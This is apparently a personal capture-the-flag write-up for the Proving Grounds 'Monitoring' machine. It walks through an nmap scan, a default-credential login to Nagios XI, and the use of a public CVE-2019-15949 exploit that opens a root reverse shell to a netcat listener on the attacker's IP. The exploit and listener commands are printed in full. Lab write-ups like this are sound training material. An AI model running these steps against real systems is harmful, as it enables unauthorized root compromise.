![[Hackermans.gif]] https://github.com/hadrian3689/nagiosxi_5.6.6 exploit https://nvd.nist.gov/vuln/detail/CVE-2019-15949 nve https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview TJnull Monitoring was an easy machine from the Offsec Proving Grounds. A good place to prepare for the OSCP exam following the updated TJNull list. <link>. The box starts with some common open ports and an exposed webserver. The webserver was running nagiosXI with default credentials. Once logged in we find the machine was vulnerable to CVE-2019-15949 leading to root remote code execution. I began the machine with my go-to nmap port scan. -sC for common scripts -sV for version detection -p- for all ports --min-rate 10000 to make it faster ( because im inpatient ) ``` nmap 192.168.234.136 -sC -sV -p- --min-rate 10000 ``` ![[nmapout.PNG]] the followed ports were discovered: 22 for ssh, common on linux machines 25 smtp, Postfix smtpd 80 Apache webserver 389 for OpenLDAP 443 https apache webserver 5667 port configured for Nagios I started my enumeration with port 80 and was presented with a nagiosXI. ![[NagiosOpen.PNG]] Ill go ahead and click "Access Nagios XI" and I was presented with a login. ![[nagiosloginhttp.PNG]] I went ahead and tried some basic creds, such as admin:admin etc. And I was presented with an odd message "NSP: Sorry Dave, I can't let you do that" ![[sorryDave.PNG]] At first I thought this was some sort of custom message, but after some research I realized that this was actually built in to NagiosXI. This is a reference to 2001: A Space Odyssey. ![[sorryDaveGoogle.PNG]] The reasons people where getting this issue was pretty inconclusive, so I switched over to the https port and I was able to pass login information without the error. ![[NagiosLoginhttps.PNG]] I went ahead and checked the certificate for any useful information and unfortunately found nothing. ![[certificate.PNG]] I looked around for a bit and could not find anything hinting to a potential username and password. My first instinct was to check for default credentials since these monitoring tools tend to be pretty lax when it comes to logins. ![[Proving Grounds/BackupBuddy/defaultCreds.PNG]] So according to this support post the default username is nagiosadmin but the password is set at configuration. I'm going to use nagiosadmin with some common passwords such as admin, password etc. To my surprise, nagiosadmin:admin worked! ![[nagiosloggedin.PNG]] At the bottom left is the version, Nagios XI 5.6.0, This is where things got a little tedious. And this probably why the user community rated this machine as intermediate. ![[NagiosExploits.PNG]] After alot of trial and error that isnt even worth showing. I came across CVE-2019-15949. According to NVE<link>, "Nagios XI before 5.6.6 allows remote command execution as root. The exploit requires access to the server as the nagios user, or access as the admin user via the web interface. The getprofile.sh script, invoked by downloading a system profile (profile.php?cmd=download), is executed as root via a passwordless sudo entry; the script executes check_plugin, which is owned by the nagios user. A user logged into Nagios XI with permissions to modify plugins, or the nagios user on the server, can modify the check_plugin executable and insert malicious commands to execute as root." At this point I have already tried about 5 exploits and didnt really have high hopes, I search for this CVEs POC and came across this <link> GitHub script that attempts to upload the malicious plugin. Ill go ahead and copy the script to my machine using wget. ![[savedExploit.PNG]] According to the readme.md, this is how the syntax works: ```python python3 exploit.py -t 'http://nagios.xi/' -b /nagiosxi/ -u username -p password -lh 127.0.0.1 -lp 1337 ``` -t is the URI (https://<MachineIP>/) -b is the base address (/nagiosxi/) -u username (nagiosadmin) -p password (admin) -lh localhost (<AttackerIP>) -lp localport (1337) Putting this together looks like this: ```bash python exploit.py -t https://192.168.234.136/ -b /nagiosxi/ -u nagiosadmin -p admin -lh 192.168.45.246 -lp 1337 ``` However, I was worried that the example showed http, So I went ahead and ran it to confirm my suspicion. ![[SSLErrors.PNG]] Yup, we need to fix that. To fix this, we need to add "verify=False" to where the request is being made. This will disable SSL Cert verification. ![[AddedVerify.PNG]] I opened the file with vi and added the verify=False line in 3 locations. Everywhere the session variable is being called, session.post and session.get. I then saved my changes and started a netcat listener on port 1337 using the following. ```bash nc -lvnp 1337 ``` ![[nc.PNG]] I went ahead and reran the script using the same exact command as last time. ![[RanExploit.PNG]] between all the SSL warnings, you can see the script Authenticated and uploaded the malicious payload. Ill check my listener and see that I have a root shell! ![[Proving Grounds/carryover/rootshell.png]] Ill grab the proof.txt flag! ![[Hack The Box/Alert/RootFlag.png]] This machine was incredibly simple, Finding the exploit was a real pain. But there was some value gained from this lab, such as, checking for default gimme creds and fixing SSL verification in python exploits. Thanks for reading and feel free to check out my other write-ups!